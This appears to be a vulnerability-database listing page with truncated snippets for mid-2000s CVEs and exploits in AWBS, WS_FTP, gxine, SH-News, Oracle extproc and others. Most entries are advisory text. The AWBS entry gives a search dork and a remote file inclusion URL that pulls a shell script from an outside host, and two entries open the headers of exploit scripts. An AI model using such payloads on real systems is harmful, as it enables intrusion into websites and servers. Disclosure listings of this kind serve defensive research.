Advanced Webhost Billing System (AWBS) cart2.php RFI Vulnerability

No description provided by source. AWBS v2.4.0 Remote file includecart2.php Demo : http://www.awbs.com/demo.php D0rk : nurl:awbs.php Home Page: Www.SiberAktif.Net Exploit http://localhost/gpbpath/docs/front-end-demo/cart2.php?workdir=http://sh3ll.com/for.txt? Discovered by : DamaR...

CVE-2007-2213

Unspecified vulnerability in the Initialize function in NetscapeFTPHandler in WSFTP Home and Professional 2007 allows remote attackers to cause a denial of service NULL dereference and application crash via unspecified vectors related to "improper arguments."...

CVE-2007-2213

CVE-2007-2213 affects Ipswitch WS FTP 2007 (WS_FTP Home/Professional 2007). The vulnerability is in the Initialize function of NetscapeFTPHandler, causing a denial of service (NULL dereference and application crash) via unspecified vectors related to “improper arguments.” Exploitation status is n...

CVE-2007-2213: Undefined Security Weakness

Unspecified vulnerability in the Initialize function in NetscapeFTPHandler in WSFTP Home and Professional 2007 allows remote attackers to cause a denial of service NULL dereference and application crash via unspecified vectors related to "improper arguments."...

WS_FTP Home空指针引用远程拒绝服务漏洞

WSFTP Home是一个快速、强大的FTP客户程序。 WSFTP Home的NetscapeFTPHandler函数在处理用户输入时存在空指针引用，本地攻击者可能利用此漏洞对服务器程序造成拒绝服务。 ESI 00000000 75DC3E09 MOVZX EAX,WORD PTR ESI 如果以不正确的参数执行函数的话： int Initialize char str1, char str2 就可能触发这个漏洞，导致拒绝服务。 Ipswitch WSFTP Home 2007 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

Remote file inclusion

PHP remote file inclusion vulnerability in ressourcen/dbopen.php in bitesser MySQL Commander 2.7 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the home parameter...

CVE-2006-7078

Multiple cross-site scripting XSS vulnerabilities in Professional Home Page Tools Login Script, as of July 2006, allow remote attackers to inject arbitrary web script or HTML via the 1 name, 2 vorname, and 3 nachname parameters in the register script. NOTE: some details have been obtained from...

CVE-2006-7078: Undefined Security Weakness

Multiple cross-site scripting XSS vulnerabilities in Professional Home Page Tools Login Script, as of July 2006, allow remote attackers to inject arbitrary web script or HTML via the 1 name, 2 vorname, and 3 nachname parameters in the register script. NOTE: some details have been obtained from...

Unfixed XSS vulnerability at home.1asphost.com

Security researcher SCRiPToRiuM, has submitted on 21/02/2007 a cross-site-scripting XSS vulnerability affecting home.1asphost.com, which at the time of submission ranked 10132 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 22/02/2007. It is...

MDKA-2006:056 : drakxtools

Several bugs were fixed in drakxtools: - it was not possible to start rpmdrake from the menu 26383 - it was not possible to set up updates media and then distro media or the reverse in edit-urpm-sources - drakauth: o add encrypted home and pammount support o hide password when calling 'net join' ...

Opera security advisory 2004-12-10

Named frames or windows can be hi-jacked by malicious frames or windows. Periods in the file name and non-breaking spaces in the Content-Type header can make the save/open dialog misleading. A user may be convinced that an executable file is something else, for example a PDF document. Applets hav...

CVE-2007-0849

scripts/cronscript.php in SysCP 1.2.15 and earlier does not properly quote pathnames in user home directories, which allows local users to gain privileges by placing shell metacharacters in a directory name, and then using the control panel to protect this directory, a different vulnerability tha...

CVE-2007-0813: Undefined Security Weakness

Cross-site scripting XSS vulnerability in Home production MySearchEngine allows remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2007-0406

Multiple buffer overflows in the 1 main function in a client.c, and the 2 serversetup and 3 serverclientconnect functions in b server.c in gxine 0.5.9 and earlier allow local users to cause a denial of service daemon crash or gain privileges via a long HOME environment variable. NOTE: some of the...

Buffer overflow

Multiple buffer overflows in the 1 main function in a client.c, and the 2 serversetup and 3 serverclientconnect functions in b server.c in gxine 0.5.9 and earlier allow local users to cause a denial of service daemon crash or gain privileges via a long HOME environment variable. NOTE: some of the...

CVE-2007-0406

Multiple buffer overflows in the 1 main function in a client.c, and the 2 serversetup and 3 serverclientconnect functions in b server.c in gxine 0.5.9 and earlier allow local users to cause a denial of service daemon crash or gain privileges via a long HOME environment variable. NOTE: some of the...

CVE-2007-0406: Undefined Security Weakness

Multiple buffer overflows in the 1 main function in a client.c, and the 2 serversetup and 3 serverclientconnect functions in b server.c in gxine 0.5.9 and earlier allow local users to cause a denial of service daemon crash or gain privileges via a long HOME environment variable. NOTE: some of the...

CVE-2007-0406

Removed by vendor...

SH-News 0.93 - 'misc.php' Remote File Inclusion

!/usr/bin/perl SH-News 0.93 misc.php Remote File Include Exploit Download: http://www.scripthome.de/down.php?id=6 Vulnerable Code: require "$newscfg'path'/german.inc.php"; Coded by bd0rk || SOH-Crew Usage: shnews.pl target cmd shell shell variable Greetings: str0ke, TheJT, Kacper, rgod use...

Oracle <= 9i / 10g (extproc) Local/Remote Command Execution Exploit

No description provided by source. -- -- $Id: raptororaextproc.sql,v 1.1 2006/12/19 14:21:00 raptor Exp $ -- -- raptororaextproc.sql - command exec via oracle extproc -- Copyright c 2006 Marco Ivaldi [email protected] -- -- Directory traversal vulnerability in extproc in Oracle 9i and 10g --...